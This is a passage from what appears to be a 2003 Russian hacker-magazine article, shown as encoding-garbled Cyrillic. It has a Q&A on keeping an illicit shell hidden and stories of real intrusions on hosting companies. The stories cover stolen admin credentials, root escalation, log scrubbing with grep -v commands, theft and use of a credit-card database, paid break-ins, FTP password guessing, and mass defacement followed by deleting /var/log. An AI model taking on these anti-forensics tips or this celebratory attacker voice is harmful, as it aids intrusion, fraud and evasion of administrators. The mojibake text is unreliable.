ïðèäåòñÿ êàê-òî àâòîìàòèçèðîâàòü.<br />
ß ïîëó÷èë<br />
øåëë íà íåêîòîðîì<br />
êîìïüþòåðå, íî áîþñü<br />
åãî ïîòåðÿòü. Êàêèõ<br />
âåùåé ìíå íå ñòîèò<br />
òàì äåëàòü?<br />
A:  ïåðâóþ î÷åðåäü íå ñòîèò äîáàâëÿòü ïîëüçîâàòåëåé<br />
ñ uid'îì 0. Äà è âîîáùå, äîáàâëÿòü íîâûõ<br />
þçåðîâ íå ëó÷øàÿ èäåÿ, ò.ê. ýòî ñëèøêîì çàìåòíî.<br />
Òàêæå ÿ áû íå ñòàë äåëàòü "cat /dev/null >/var/log/*",<br />
ò.ê. ïóñòûå ëîãè ñðàçó âûçûâàþò ìíîæåñòâî íåíóæíûõ<br />
ïîäîçðåíèé. Î÷åíü ñòðàííî âûãëÿäèò suid'íûé<br />
ôàéë bash, ëåæàùèé â tmp. È åùå î÷åíü îïàñíî âûçûâàòü<br />
îøèáêè â ñèñòåìå, âåäü ñîîáùåíèÿ î íèõ<br />
îòïðàâëÿþòñÿ â êîíñîëü àäìèíèñòðàòîðó. À ýòî áóäåò<br />
ÿâíûì ïðèçíàêîì, ÷òî ñèñòåìà âçëîìàíà.<br />
Èñïîëüçóÿ<br />
óÿçâèìîñòü â îäíîì<br />
ñåðâèñå, ÿ ñìîã<br />
èçìåíèòü .profile<br />
root'à òàê, ÷òî ó ìåíÿ<br />
â homedir ñîçäàëñÿ<br />
bash ôàéë ñ<br />
óñòàíîâëåííûì<br />
ñóèäíûì áèòîì. Âîò<br />
åãî àòðèáóòû - "-r-srsr-x<br />
root wheel<br />
suidsh". Âðîäå âñå<br />
ïðàâèëüíî, íî ýòî íå<br />
ðàáîòàåò. Ïî÷åìó òàê?<br />
A: Âîçìîæíî, ÷òî òâîé äîìàøíèé êàòàëîã ïîäêëþ÷àåòñÿ<br />
ñ îïöèåé nosuid. Åñëè ýòà îïöèÿ óñòàíîâëåíà,<br />
òî òû â ïðîëåòå. Ïðîâåðèòü åå àêòèâíîñòü<br />
ìîæíî ïðè ïîìîùè êîìàíäû mount.<br />
Çàïóñêàé åå áåç âñÿêèõ àðãóìåíòîâ. Åñëè â îòâåò<br />
òû ïîëó÷èøü íå÷òî ïîäîáíîå - "/dev/wd0e<br />
on /home type ffs (local, nodev, nosuid)", çíà÷èò<br />
îïöèÿ nosuid âêëþ÷åíà. Ïîñìîòðè, ãäå îíà îòñóòñòâóåò,<br />
è ïîëîæè òóäà ñâîé bash.<br />
Tips&Tricks<br />
Çíàåøü ëè òû, ÷òî â Âèíäàõ åñòü ñïèñîê ñîîòâåòñòâèÿ<br />
ïîðòîâ ñòàíäàðòíûì ñëóæáàì?<br />
Õðàíèòñÿ ýòî â ôàéëèêå Services:<br />
Äëÿ WindowsXP — ýòî Windows\system32\drivers\etc\services<br />
Äëÿ 98 — Windows\services<br />
Kimi4<br />
kimi4@mail.ru<br />
Õî÷åøü óâèäåòü ñâîè ñîâåòû â æóðíàëå? Ïðèñûëàé èõ<br />
íà àäðåñ Sklyarov@real.xakep.ru. Âåäóùèé ðóáðèêè<br />
Tips&Tricks Èâàí Ñêëÿðîâ.<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
Âçëîì<br />
ÊÀÊ ÝÒÎ ÁÛÂÀÅÒ ÍÀ ÑÀÌÎÌ ÄÅËÅ<br />
Master-lame-master<br />
ÊÀÊ ÝÒÎ ÁÛÂÀÅÒ<br />
ÍÀ ÑÀÌÎÌ ÄÅËÅ<br />
ÐÅÀËÜÍÛÅ ÈÑÒÎÐÈÈ<br />
ÍÀØÓÌÅÂØÈÕ<br />
ÂÇËÎÌÎÂ<br />
Áûòóåò ìíåíèå, ÷òî ñåðâåðà, íà êîòîðûõ<br />
óñòàíîâëåíû íîâûå ñèñòåìû áåç<br />
áàãîâ, íåâîçìîæíî âçëîìàòü äàæå<br />
ïðîôåññèîíàëüíîìó õàêåðó. Ýòî íå<br />
ñîâñåì òàê. Åñëè âíèêíóòü â ñóòü ïðîáëåìû<br />
çàùèòû èíôîðìàöèè, ïðîðèñîâûâàþòñÿ<br />
äâà íåîòúåìëåìûõ êîìïîíåíòà<br />
óñïåøíîé ðåàëèçàöèè ýòîé<br />
ñàìîé çàùèòû - õîðîøåå ïðîãðàììíîå<br />
îáåñïå÷åíèå, íà êîòîðîì "æèâåò"<br />
ñåðâåð, à òàêæå óìíûé ñèñòåìíûé àäìèíèñòðàòîð,<br />
íå ïîëåíèâøèéñÿ îòòî-<br />
÷èòü íàñòðîéêó ñåðâåðà è íå áîÿùèéñÿ<br />
âñòóïèòü â áîé ñ õàêåðîì.<br />
ß óìûøëåííî óïîìÿíóë ïðî ñàì ôàêò<br />
âçëîìà, òàê êàê àäìèíèñòðàòîð äîëæåí<br />
çàðàíåå ïðåäóãàäàòü, ÷òî îí áóäåò<br />
äåëàòü â ýòîì ñëó÷àå, äàáû âçëîìùèê<br />
íå çàñòàë åãî âðàñïëîõ. Åñëè íåìíîãî<br />
ïîôàíòàçèðîâàòü, ìîæíî ïðîâåñòè ïàðàëëåëü<br />
ñ ðåàëüíîé æèçíüþ: áîãàòûé<br />
õîçÿèí êâàðòèðû ñòàâèò ñèãíàëèçàöèþ<br />
èìåííî äëÿ òîãî, ÷òîáû ñîõðàíèòü<br />
ñâîå èìóùåñòâî, íå íàäåÿñü íà æåëåçíûå<br />
äâåðè ñ ñåíñîðíûìè çàìêàìè, à<br />
òàêæå óìåíüøàåò âåðîÿòíîñòü âçëîìà,<br />
íå ðàññêàçûâàÿ ïåðâîìó âñòðå÷íîìó,<br />
÷òî ó íåãî íàõîäèòñÿ â êâàðòèðå. Òî æå<br />
ñàìîå äîëæíî áûòü è â "öèôðîâîé"<br />
æèçíè. Àäìèíèñòðàòîð êðóïíûõ ïðîåêòîâ<br />
îáÿçàòåëüíî äîëæåí áûòü ïðîèíôîðìèðîâàí<br />
î ôàêòå "âòîðæåíèÿ" â<br />
êðàò÷àéøèå ñðîêè, ÷òîáû ïîòîì íå<br />
áûëî ìó÷èòåëüíî áîëüíî... Âåäü<br />
âçëîìùèêè îáû÷íî íå ùàäÿò ñèñòåì è<br />
äåëàþò âñå õëàäíîêðîâíî.<br />
ÝÒÞÄ ÏÅÐÂÛÉ: WWW.AWC.NET -<br />
ADVANCED WEB CREATIONS<br />
Ýòî áûëî äàâíî... Íà äâîðå ñòîÿëà çèìà 2001 ãîäà.<br />
Ñèñòåìû ê òîìó âðåìåíè áûëè ñòàðåíüêèå è íåçàùèùåííûå,<br />
íî è ýêñïëîèòîâ ê íèì îáíàðóæåíî ïîêà<br />
íå áûëî. Äà è õàêåðîâ áûëî ãîðàçäî ìåíüøå,<br />
÷åì ñåé÷àñ. Ïðî÷èòàâ â êàêîì-òî îòêðûòîì èñòî÷íèêå<br />
ñòàòüþ ïðî ãåíåðàòîðû êðåäèòíûõ êàðò, êîòîðûå<br />
ïðîêàòûâàþò ïðè ðåãèñòðàöèè äîìåíîâ âòîðîãî<br />
óðîâíÿ, íà÷èíàþùèé âçëîìùèê, ñêåïòè÷åñêè<br />
õìûêíóâ è äîïèâ îñòàòêè ïèâà, ïîëåç êà÷àòü ýòîò<br />
ñàìûé ãåíåðàòîð. Èì îêàçàëîñü äåñÿòèêèëîáàéòíîå<br />
ÄÎÑ-ïðèëîæåíèå, íå âûäàâàâøåå åìó ïðè çàïóñêå<br />
íè÷åãî, êðîìå äåñÿòè îãðîìíûõ öèôð (êàê âïîñëåäñòâèè<br />
îêàçàëîñü - 10 ôàëüøèâûõ êàðò VISA). Ïîòûêàâ<br />
ìûøêîé â ïîëÿõ âñåì èçâåñòíîãî<br />
www.register.com è www.verio.net, îí îãîð÷èëñÿ, ïîëó÷èâ<br />
ñîîáùåíèå î "ïëîõîé" êðåäèòêå. Íå ðàñòåðÿâ<br />
áîåâîãî äóõà, õàêåð ñëó÷àéíî ïîïàë íà íåêèé àìåðèêîñîâñêèé<br />
ñàéò ïîä ãðîìêèì íàçâàíèåì Advanced<br />
Web Creations. Çàïîëíèâ íåáîëüøóþ ôîðìó, îí ïîëó÷èë<br />
ñîîáùåíèå, ÷òî åñëè âñå â ïîðÿäêå, òî äîìåí<br />
áóäåò ñîçäàí è åìó îòìûëÿò ðóêîâîäñòâî ïî åãî èñïîëüçîâàíèþ,<br />
à òàêæå ïàðîëè íà ftp è shell-account,<br />
êîòîðûé îí òîæå âêëþ÷èë â ïðàéñ.<br />
 òî âðåìÿ âçëîìùèê áîëåë èíòåðíåò-çàâèñèìîñòüþ<br />
â ëåãêîé (ïîêà!) ôîðìå, à â ïëàíå âçëîìà áûë<br />
âñåãî ëèøü ñêðèïòêèääè, ïîýòîìó îí çàáûë î çàÿâêå<br />
íà äîìåí. Ïèñüìî, ñâàëèâøååñÿ îò ñàïïîðòà<br />
awc.net çàñòàâèëî âçëîìùèêà âñïîìíèòü ñâîþ çàâåòíóþ<br />
ìå÷òó î äîìåíå âòîðîãî óðîâíÿ, êîòîðàÿ<br />
ñòàëà ðåàëüíîñòüþ, ñóäÿ ïî ñîäåðæèìîìó ìåéëà.<br />
Çàáûâ âñå è çàáèâ íà âñåõ, õàêåð ïîëåç íà øåëë,<br />
÷òîáû ïîñòàâèòü ýããäðîïà äëÿ irc (äà-äà, à çà÷åì,<br />
òû äóìàë, åìó â òî âðåìÿ áûë íóæåí øåëë? :)), è<br />
îáíàðóæèë òàì êðàñèâûé telnet-áàííåð: SunOS<br />
5.7. Êàê îêàçàëîñü ïîçæå, âñÿ ïîäñåòêà ýòîãî õîñòåðà<br />
íàõîäèëàñü íà ñàíîñÿõ îò 5.6 äî 5.8 âåðñèè.<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
Íî åìó ïîêà ýòî íè î ÷åì íå ãîâîðèëî, è ðàññòðîèâøèñü,<br />
÷òî íà ñåðâåðå íåò tcl, êîòîðûé áûë íåîáõîäèì<br />
äëÿ eggdrop, âçëîìùèê, îòõëåáíóâ ñâåæåãî<br />
ïèâà, çàêðûë êîíñîëü è óäîâîëüñòâîâàëñÿ ëèøü<br />
FTP è WWW ñåðâèñîì ñâîåãî íîâîãî äîìåíà.<br />
ÍÀ×ÀËÎ ÂÇËÎÌÀ<br />
Ïðîøëî 2 ìåñÿöà. Èíòåðåñ íàøåãî ãåðîÿ ê unixlike<br />
ñèñòåìàì çíà÷èòåëüíî âîçðîñ, ïîýòîìó,<br />
âñïîìíèâ ñâîé ñòàðûé àêêàóíò íà óáîãîì ñîëÿðèñå,<br />
âçëîìùèê ñòàë áðîäèòü ïî êàòàëîãàì ñèñòåìû<br />
ñ öåëüþ åå èçó÷åíèÿ è âîçìîæíî - ïðèðó÷åíèÿ.<br />
Õîòÿ ñàì ôàêò âçëîìà, ïóñòü äàæå íåçàùèùåííîé<br />
ñèñòåìû, áûë äëÿ íåãî ñêîðåå ìèôîì, ÷åì ðåàëüíîñòüþ,<br />
åìó íå õâàòàëî îïûòà. Èçó÷àòü â ýòîé ñèñòåìå<br />
áûëî, ñîáñòâåííî, íå÷åãî: äëÿ óäîáñòâà ðàçáèòûå<br />
ïî àëôàâèòó äèðåêòîðèè ñ ñàáäèðåêòîðèÿìè,<br />
ñîäåðæàùèå â ñåáå èìåíà äîìåíîâ â ýòîì õîñòèíãå,<br />
íå ïðåäñòàâëÿëè ñîáîé íè÷åãî èíòåðåñíîãî.<br />
Òåì áîëåå ÷òî äîñòóï â íèõ áûë çàïðåùåí - íà<br />
äèðåêòîðèÿõ óñòàíîâëåí áèò 700.<br />
Îò÷àÿâøèñü, õàêåð çàøåë â ïàïêó /etc. Ïðîëèñòàâ<br />
åå è íå íàéäÿ íè÷åãî çàñëóæèâàþùåãî âíèìàíèÿ,<br />
îí õîòåë áûëî âûéòè, íî óâèäåë èíòåðåñíûé ôàéë<br />
ïîä èìåíåì test.pl :). Â òî âðåìÿ õàêåð óâëåêàëñÿ<br />
èçó÷åíèåì Perl, ïîýòîìó ñäåëàâ cat test.pl, óâèäåë<br />
íåáîëüøîé ñêðèïòèê, êîòîðûé êîííåêòèòñÿ íà ëîêàëõîñò<br />
è ÷åêàåò ìûëî àäìèíà! Äà, ðàçóìååòñÿ, â<br />
íåì áûëè îïðåäåëåíû çàâåòíûå ïåðåìåííûå<br />
$login è $password - ðàäîñòè âçëîìùèêà íå áûëî<br />
ïðåäåëà! Ñõîäèâ íà êóõíþ çà íîâîé áóòûëêîé ïèâà<br />
äëÿ õðàáðîñòè, îí ðîáêî íàáðàë êîìàíäó su admin.<br />
Îñâàèâàòü ñèñòåìó ñòàëî ãîðàçäî èíòåðåñíåå.<br />
Ïðî÷èòàâ èñòîðèþ êîìàíä, õàêåð ðàäîñòíî çàóëûáàëñÿ,<br />
òàê êàê ïîíÿë, ÷òî ïîëíîñòüþ çàâëàäåë ñåðâåðîì.<br />
Íà ìàøèíå áûëà óñòàíîâëåíà ïðîãðàììà<br />
gsu, ïîçâîëÿþùàÿ ñóèäèòüñÿ íà ðóòà îïðåäåëåííûì<br />
þçåðàì (ïîëíûé àíàëîã sudo), ââåäÿ ëèøü<br />
1 2 3 4<br />
46 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ïàðîëü ýòîãî þçåðà. Àäìèí áûë â ëèñòå, êàê âûÿñíèëîñü<br />
èç ôàéëà /home/admin/.history, à ïîòîì<br />
ïîäòâåðäèëîñü ïðàêòèêîé.<br />
×ÈÑÒÊÀ ËÎÃÎÂ<br />
×òî ïðèìå÷àòåëüíî, õàêåð áûë î÷åíü ÷èñòîïëîòåí<br />
è íèêîãäà íå çàáûâàë ÷èñòèòü ñâîè ëîãè. Íàéäÿ èõ<br />
â /var/adm/messages (è çàîäíî çàïîìíèâ, ÷òî â ñîëÿðå,<br />
â îòëè÷èå îò ïèíãâèíîâ, îíè õðàíÿòñÿ èìåííî<br />
òóò), îí ïî÷èñòèë ëîãè ïðîñòûì grep'îì. Îí<br />
ìîã áû ïðîñòî âîñïîëüçîâàòüñÿ vi-ðåäàêòîðîì, íî<br />
èç-çà åãî ñëîæíîñòè è ñâîåãî íåóìåíèÿ ñ íèì ðàáîòàòü,<br />
ïîñòóïèë èíà÷å. Çàäà÷åé õàêåðà áûëî óáðàòü<br />
õîñò www.security.ru èç ëîãà. Îí äîáèëñÿ ýòîãî<br />
ïðîñòîé êîìàíäîé:<br />
# cd /var/log<br />
# grep -v 'www.security.ru' messages > temp<br />
# mv temp messages<br />
Çäåñü êëþ÷èê -v êîìàíäû grep îçíà÷àë âûâîä âñåõ<br />
ñòðîê, íå ñîäåðæàùèõ îïðåäåëåííûé øàáëîí. Òåì<br />
ñàìûì âçëîìùèê îòñîðòèðîâàë ëîã íà ïðåäìåò õîñòà<br />
âî âðåìåííûé ôàéë, à çàòåì ïåðåèìåíîâàë åãî<br />
â messages. Ýòî ïðèäåòñÿ ïðîäåëûâàòü êàæäûé ðàç<br />
ïîñëå âõîäà â ñèñòåìó, äàáû èçáåæàòü çàïèñè íåæåëàòåëüíîé<br />
èíôîðìàöèè. Ãëÿíóâ â last, õàêåð óâèäåë<br />
îãðîìíîå êîëè÷åñòâî çàïèñåé ñåññèé ïî ftp è<br />
shell îò ðàçíûõ êëèåíòîâ, ïîýòîìó ìàõíóë ðóêîé íà<br />
wtmp. Òåïåðü åãî îæèäàëà ñàìàÿ îòâåòñòâåííàÿ ðàáîòà<br />
- ñáîð èíôîðìàöèè ñ ýòîãî ñåðâåðà.<br />
ÑÁÎÐ ÄÀÍÍÛÕ<br />
Èíôîðìàöèÿ îáåùàëà áûòü öåííîé. Îñòàíàâëèâàëî<br />
ëèøü îäíî - íà ñåðâåðå ñòîÿë êàêîé-òî ýêçîòè-<br />
÷åñêèé SQL ñåðâåð, ñîâñåì íå ïîõîæèé íà mysql<br />
èëè postrgesql. Äóìàåøü, ýòî åãî îñòàíîâèëî è îí<br />
ñäåëàë disconnect îò óäàëåííîé ìàøèíû? Íå-à,<br />
îøèáàåøüñÿ.  åãî æèëàõ òåêëà ãîðÿ÷àÿ êðîâü<br />
ïðåäêîâ, êîòîðûå íå îñòàíàâëèâàëèñü íè ïåðåä<br />
÷åì. Ñòàðàòåëüíî èçó÷èâ èñòîðèè êîìàíä âñåõ àäìèíèñòðàòîðîâ<br />
ñèñòåìû, îí íàòêíóëñÿ íà èíòåðåñíûé<br />
ñêðèïò ñ èìåíåì sql. Â ïàðàìåòðàõ áûë çàïðîñ<br />
äàííûõ èç áàçû, ïðè÷åì ñèíòàêñèñ áûë<br />
î÷åíü ïîõîæ íà mysql. Íåäîëãî äóìàÿ, õàêåð ïðîñìîòðåë<br />
ñòðóêòóðó âñåõ áàç äàííûõ è íàøåë èíôó<br />
î äîìåíàõ è pop-àêêàóíòàõ ê ýòèì äîìåíàì. Òàêæå<br />
ïðèãîäèëàñü è âòîðàÿ áàçà, ïîä íàçâàíèåì payment,<br />
â íåé ðàñïîëîæèëàñü èíôà î êðåäèòêàõ, ïî<br />
êîòîðûì ïîêóïàëè äîìåíû. Ðàçìåð òàáëèöû áûë<br />
ïîðÿäêà 10 ìåãàáàéò.<br />
Ðàäóÿñü ëåãêîé äîáû÷å, õàêåð ñäåëàë äàìï âñåãî<br />
ýòîãî äîáðà è çàáîòëèâî ñëèë åãî ïî âåáó ñ ýòîãî<br />
æå ñåðâåðà. Íå çàáûâ óäàëèòü àðõèâû ñ öåííîé<br />
èíôîé, ÷òîáû íå îçàäà÷èòü àäìèíà :), âçëîìùèê<br />
åùå ðàç óáåäèëñÿ, ÷òî ëîãè äåéñòâèòåëüíî íå ñîäåðæàò<br />
èíôîðìàöèè î âòîðæåíèè, ïîñëå ÷åãî ñïîêîéíî<br />
âûøåë èç ñèñòåìû. Äëÿ íåãî îíà óæå íå<br />
ïðåäñòàâëÿëà îñîáîãî èíòåðåñà. Âïîñëåäñòâèè õàêåð<br />
èçó÷èë áàçó ñ êðåäèòêàìè è íàøåë â íåé ìíîãî<br />
ëåâûõ íîìåðîâ (ýòî òîëüêî íà ïåðâûé âçãëÿä,<br />
íà ñàìîì äåëå èõ áûëî íå ìíîãî, à î÷åíü ìíîãî),<br />
íî óäîâëåòâîðèâøèñü ÿâíûì ïåðåâåñîì "âàëèäíûõ"<br />
íîìåðîâ, ïîëåç ïîêóïàòü ñåáå øåëë äëÿ<br />
eggdrop íà áîëåå ïðîäâèíóòîé ïëàòôîðìå.<br />
Èòîã êàê âñåãäà ïå÷àëåí: ñåðâåð áûë ñëîìàí èç-çà<br />
áåñïå÷íîñòè ñèñòåìíîãî àäìèíèñòðàòîðà, êîòîðûé<br />
íàâåðíÿêà çíàë, ÷òî åãî ñêðèïò ìîãóò ïðî÷èòàòü<br />
êëèåíòû ýòîãî õîñòèíãà. Îí íå ïîçàáîòèëñÿ î åãî<br />
óäàëåíèè èëè ñêðûòèè îò ïîñòîðîííèõ ëèö. Ãðóñòíî<br />
òî, ÷òî êîìïàíèÿ â êîíöå êîíöîâ ïåðåñòàëà<br />
áûòü õîñòèíãîì, è www.awc.net ñåé÷àñ çàíèìàåòñÿ<br />
íåñêîëüêî èíûìè âåùàìè. Âîçìîæíî, òåïåðü òàì<br />
áîëåå îòâåòñòâåííûå àäìèíû.<br />
Ñþäà òåïåðü êèäàåò ïðè îáðàùåíèè íà<br />
www.awc.net =)<br />
ÝÒÞÄ ÂÒÎÐÎÉ: WWW.SWEB.RU -<br />
ÊÐÓÏÍÛÉ ÏÈÒÅÐÑÊÈÉ ÕÎÑÒÈÍÃ<br />
Òåïëîé âåñíîé 2002 ãîäà íåêòî, ñèäÿùèé çà êîìïüþòåðîì,<br />
óâèäåë â ICQ ñòðàííîå ñîîáùåíèå îò<br />
òèïà, ñîîáùèâøåãî, ÷òî åãî íàïðàâèëè õîðîøèå<br />
ëþäè. Ïîñëå äåñÿòèìèíóòíîãî ðàçãîâîðà ñòàëî ÿñíî,<br />
÷òî ýòîò ÷åëîâåê ïðåäëàãàåò íàøåìó ãåðîþ, íàçîâåì<br />
åãî "çëîáíûì õàêåðîì", ðàáîòó. Òàê êàê ó õàêåðà<br />
íå áûëî îïûòà âçëîìà íà çàêàç, îí äîëãî íå<br />
ìîã ïîíÿòü, ÷òî æå êîíêðåòíî îò íåãî õîòÿò. À îêàçàëîñü,<br />
÷òî êëèåíò ïðîñèò ïîëó÷èòü íà âðåìÿ äîñòóï<br />
ê web-èíòåðôåéñó èçâåñòíîãî õîñòèíãà<br />
www.sweb.ru (äëÿ ñïðàâêè: íà íåì êàê ðàç õîñòèëèñü<br />
òàêèå ñàéòû êàê www.nwgsm.ru è<br />
www.udaff.com). Îí äàë õàêåðó îäèí àêêàóíò äëÿ<br />
òåñòà è ïîïðîñèë îñîáî íå ñâåòèòü åãî â ëîãàõ. Çà<br />
óñïåøíî âûïîëíåííóþ ðàáîòó çàêàç÷èê ïëàòèë 100<br />
WMZ ($100 ÷åðåç www.webmoney.ru), çàìåòèâ, ÷òî<br />
ýòî ëåãêèå äåíüãè äëÿ õàêåðà ñðåäíåé ðóêè. Ïîäóìàâ,<br />
õàêåð ñîãëàñèëñÿ.<br />
Âûáðàâ äëÿ âòîðæåíèÿ òåìíîå âðåìÿ ñóòîê, ÷òîáû íå<br />
íàòêíóòüñÿ íà áäÿùèõ àäìèíîâ, îí çàëåç íà ssh õîñòåðà<br />
ïîä âûäàííûì åìó àêêàóíòîì. Íî ïîìíÿ, ÷òî ñâåòèòü<br />
åãî íåæåëàòåëüíî, ïåðâûì äåëîì ñêîïèðîâàë ñåáå<br />
/etc/passwd è ñòàë òóïî áðóòôîðñèòü àêêàóíòû íà 21<br />
ïîðòó â íàäåæäå, ÷òî âñòðåòèòñÿ ïàðîëü, èäåíòè÷íûé<br />
ëîãèíó ïîëüçîâàòåëÿ. Ðåçóëüòàò îïðàâäàë îæèäàíèÿ, è<br />
âçëîìùèê íàøåë öåëûõ òðè òàêèõ ó÷åòíûõ çàïèñè. Îäíó<br />
èç íèõ îí èñïîëüçîâàë äëÿ âõîäà íà ñåðâåð.<br />
Ïîñëå äîëãèõ ñêèòàíèé õàêåð ïîíÿë, ÷òî òàì ñòîèò<br />
íå ÷òî èíîå, êàê RedHat 7.1 (õîòÿ ñàìè àäìèíû<br />
òùàòåëüíåéøèì îáðàçîì ñêðûâàëè âåðñèþ ñèñòåìû,<br />
õàêåð óçíàë åå ëèøü ÷åðåç ôàéë /proc/version).<br />
Èíòåðåñíî áûëî, ÷òî áèíàðíèê /usr/bin/w<br />
ïîêàçûâàë ëèøü îäíîãî âçëîìùèêà, õîòÿ þçåðîâ<br />
áûëî òðîå. Âîñïîëüçîâàâøèñü /usr/bin/users, õàêåð<br />
óâèäåë, ÷òî â ñèñòåìå áûëî åùå äâà ðóòà, âèäèìî<br />
àäìèíû íå õîòåëè, ÷òîáû èõ âèäåë êòî-òî èç<br />
êëèåíòîâ. Ïîñëå íåóäà÷íûõ èñïûòàíèé ïàáëèêýêñïëîèòîâ,<br />
õàêåð çàáèë íà sweb è íàïðàâèëñÿ â<br />
IRC - ìåñòî, êîòîðîå îí ñ÷èòàë ñâîèì âòîðûì äîìîì.<br />
Óâèäåâ òàì çíàêîìîãî âçëîìùèêà, îí ïîïðîñèë<br />
ó íåãî ïàðó ïðèâàòíûõ ñïëîèòîâ, è, åñòåñòâåííî,<br />
ïîëó÷èë îòêàç. Òîãäà íàø ãåðîé ðåøèë<br />
ñõèòðèòü, ïîïðîñèâ ñîáåñåäíèêà ïîùóïàòü äîâîëüíî<br />
êðóïíûé õîñòèíã. Òîò íå îòêàçàë (åùå áû,<br />
ïîëîìàòü ÷òî-ëèáî, îñîáåííî ëîêàëüíî -<br />
îäíî óäîâîëüñòâèå) è ñ ïîìîùüþ ìîùíûõ<br />
ýêñïëîèòîâ ñïðàâèëñÿ ñ çàäà÷åé çà ïîë÷àñà,<br />
äàâ ïóòü ê ñóèäíîìó øåëëó. Ðàäîñòè õàêåðà<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
Âçëîì<br />
ÊÀÊ ÝÒÎ ÁÛÂÀÅÒ ÍÀ ÑÀÌÎÌ ÄÅËÅ<br />
Master-lame-master<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
Îñíîâíûå ïðèíöèïû íà÷èíàþùåãî õàêåðà<br />
×òî æå ïîìîãëî õàêåðó â åãî íåëåãêîì äåëå?<br />
1. Âçëîìùèê íå ïðåíåáðåãàåò ïîìîùüþ äðóãèõ ëþäåé, êîòîðûå, ïî åãî ìíåíèþ, ðàçáèðàþòñÿ<br />
âî âçëîìå ëó÷øå, ÷åì îí.<br />
2. Âçëîìùèê, çàáîòÿñü î ñâîåé æå áåçîïàñíîñòè, ñòðåìèòñÿ îñòàâèòü êàê ìîæíî ìåíüøå<br />
èíôîðìàöèè î ñåáå.<br />
3. Âçëîìùèê îáû÷íî âûáèðàåò äëÿ àêòèâíûõ äåéñòâèé íî÷ü, çíàÿ, ÷òî â ýòî âðåìÿ àäìèíû<br />
ðåäêî ñëåäÿò çà ñåðâåðàìè (íå ñòîèò çàáûâàòü î ðàçíèöå âî âðåìåíè â ðàçíûõ ÷àñîâûõ<br />
ïîÿñàõ).<br />
íå áûëî ïðåäåëà (åùå áû, ïîëó÷èòü $100 ïðàêòè-<br />
÷åñêè íà õàëÿâó), ïîýòîìó, äîáàâèâ îäíó ñòðîêó â<br />
.htpasswd, ëåæàùèé â àäìèíñêîé äèðåêòîðèè, îí<br />
ñâÿçàëñÿ ñ çàêàç÷èêîì è ðàäîñòíî ñîîáùèë, ÷òî<br />
ðàáîòà âûïîëíåíà äîñðî÷íî. Ïîñëå íåáîëüøîé<br />
ïðîâåðêè õàêåð ïîëó÷èë áàáëîñû íà ñâîé ýëåêòðîííûé<br />
ñ÷åò, à òàêæå ñëîâà áëàãîäàðíîñòè è<br />
ïðèãëàøåíèå íà óäàëåííóþ ðàáîòó.<br />
ÏÐÀÇÄÍÈÊ - 1 ÌÀß!<br />
Êîãäà ïðîøëà ðàäîñòíàÿ ýéôîðèÿ, âçëîìùèê ãëÿíóë<br />
íà ÷àñû è ñìåêíóë, ÷òî çàâòðà ïåðâîå ìàÿ, à<br />
çíà÷èò, ñàìîå âðåìÿ óñòðîèòü ýòîìó õîñòèíãó ïðàçäíèê<br />
â êà÷åñòâå õîðîøåãî äåôåéñà âñåõ ñàéòîâ<br />
íà íåì (à èõ áûëî îêîëî 50). Íî ñîìíåâàÿñü â ïðàâèëüíîñòè<br />
ïðèíÿòîãî ðåøåíèÿ, îí åùå ðàç çàëåç â<br />
ñèñòåìó ñ öåëüþ ïðîâåðèòü îñòàëüíûå äâà ñåðâåðà<br />
ýòîãî õîñòèíãà, è îáíàðóæèë íåâåðîÿòíîå. Âõîä<br />
íà íèõ áûë âîçìîæåí ïóòåì àâòîðèçàöèè êëþ÷àìè<br />
îò ðóòà áåç âñÿêîãî ïàðîëÿ. Çíàÿ ïî îïûòó, ÷òî íà<br />
õîñòèíãàõ åãî áýêäîð äîëãî íå ïðîâèñèò, îí ðåøèë<br />
çàäåôåéñèòü âñå òðè ñåðâåðà, ñäåëàâ òåì ñàìûì<br />
ïðåêðàñíûé ïîäàðîê àäìèíàì :). Ñãðóçèâ àâòî-äåôåéñåð<br />
ñ www.packetstormsecutiry.nl, âçëîìùèê<br />
çàïóñòèë åãî íà ãëàâíîì ñåðâåðå. Êàêîé ïðèëèâ<br />
ïàòðèîòèçìà îí èñïûòàë ïðè âèäå ñòðî÷êè file<br />
/home/web/www.nwgsm.ru/index.html was defaced!<br />
Çàéäÿ íà âåá ýòîãî ñàéòà è óáåäèâøèñü, ÷òî html<br />
áûë çàìåíåí íà ñàìîì äåëå, õàêåð ïîâòîðèë îïåðàöèþ<br />
íà îñòàëüíûõ äâóõ ñåðâåðàõ (êñòàòè, òàì<br />
ñòîÿëè íåïðîáèâàåìûå íà òîò ìîìåíò FreeBSD 4.7<br />
è Debian 3.0).<br />
Òàêîé äåôåéñ êðàñîâàëñÿ áîëåå ñóòîê íà<br />
500 ñàéòàõ<br />
Óäàëèâ ïîëíîñòüþ /var/log äëÿ íàäåæíîñòè, õàêåð<br />
óäàëèëñÿ èç ñèñòåìû. Ðàçóìååòñÿ, îí âõîäèë â íåå<br />
íå ñ ïðîâàéäåðñêîãî øåëëà, à ñ äàëåêîé ñêàðæåííîé<br />
ìàøèíû èç Êèòàÿ (î÷åíü ïîäîçðèòåëüíî, âåäü<br />
Êèòàé ïðàêòè÷åñêè çàêóïîðåí îò âíåøíåãî èíòåðíåòà,<br />
íî ïóñòü ýòî îñòàíåòñÿ íà ñîâåñòè õàêåðà :) -<br />
ïðèì. ðåä.). Ñ ÷óâñòâîì âûïîëíåííîãî äîëãà<br />
âçëîìùèê ïîøåë ñïàòü, ïîæåëàâ ñïîêîéíîé íî÷è<br />
àäìèíàì ñåðâåðîâ õîñòèíãà. Äâà ñåðâåðà sweb'à<br />
áûëè âîññòàíîâëåíû ê îáåäó ïåðâîãî ìàÿ, òðåòèé<br />
æå ê óòðó ñëåäóþùåãî äíÿ. Ïðîâåðèâ ìûëî îò îñòàâøåéñÿ<br />
ó íåãî ó÷åòíîé çàïèñè, õàêåð íàøåë òàì<br />
ïèñüìî îò àäìèíîâ ñëåäóþùåãî ñîäåðæàíèÿ:<br />
Ýòî ïèñüìî åùå ðàç ïîêàçàëî íàïëåâàòåëüñêîå îòíîøåíèå<br />
àäìèíèñòðàòîðîâ ê êëèåíòàì. Çà ñóòêè, ïîêà<br />
âèñåë äåôåéñ, íà ïî÷òó õàêåðà ïðèøëî îêîëî ñòà ïèñåì<br />
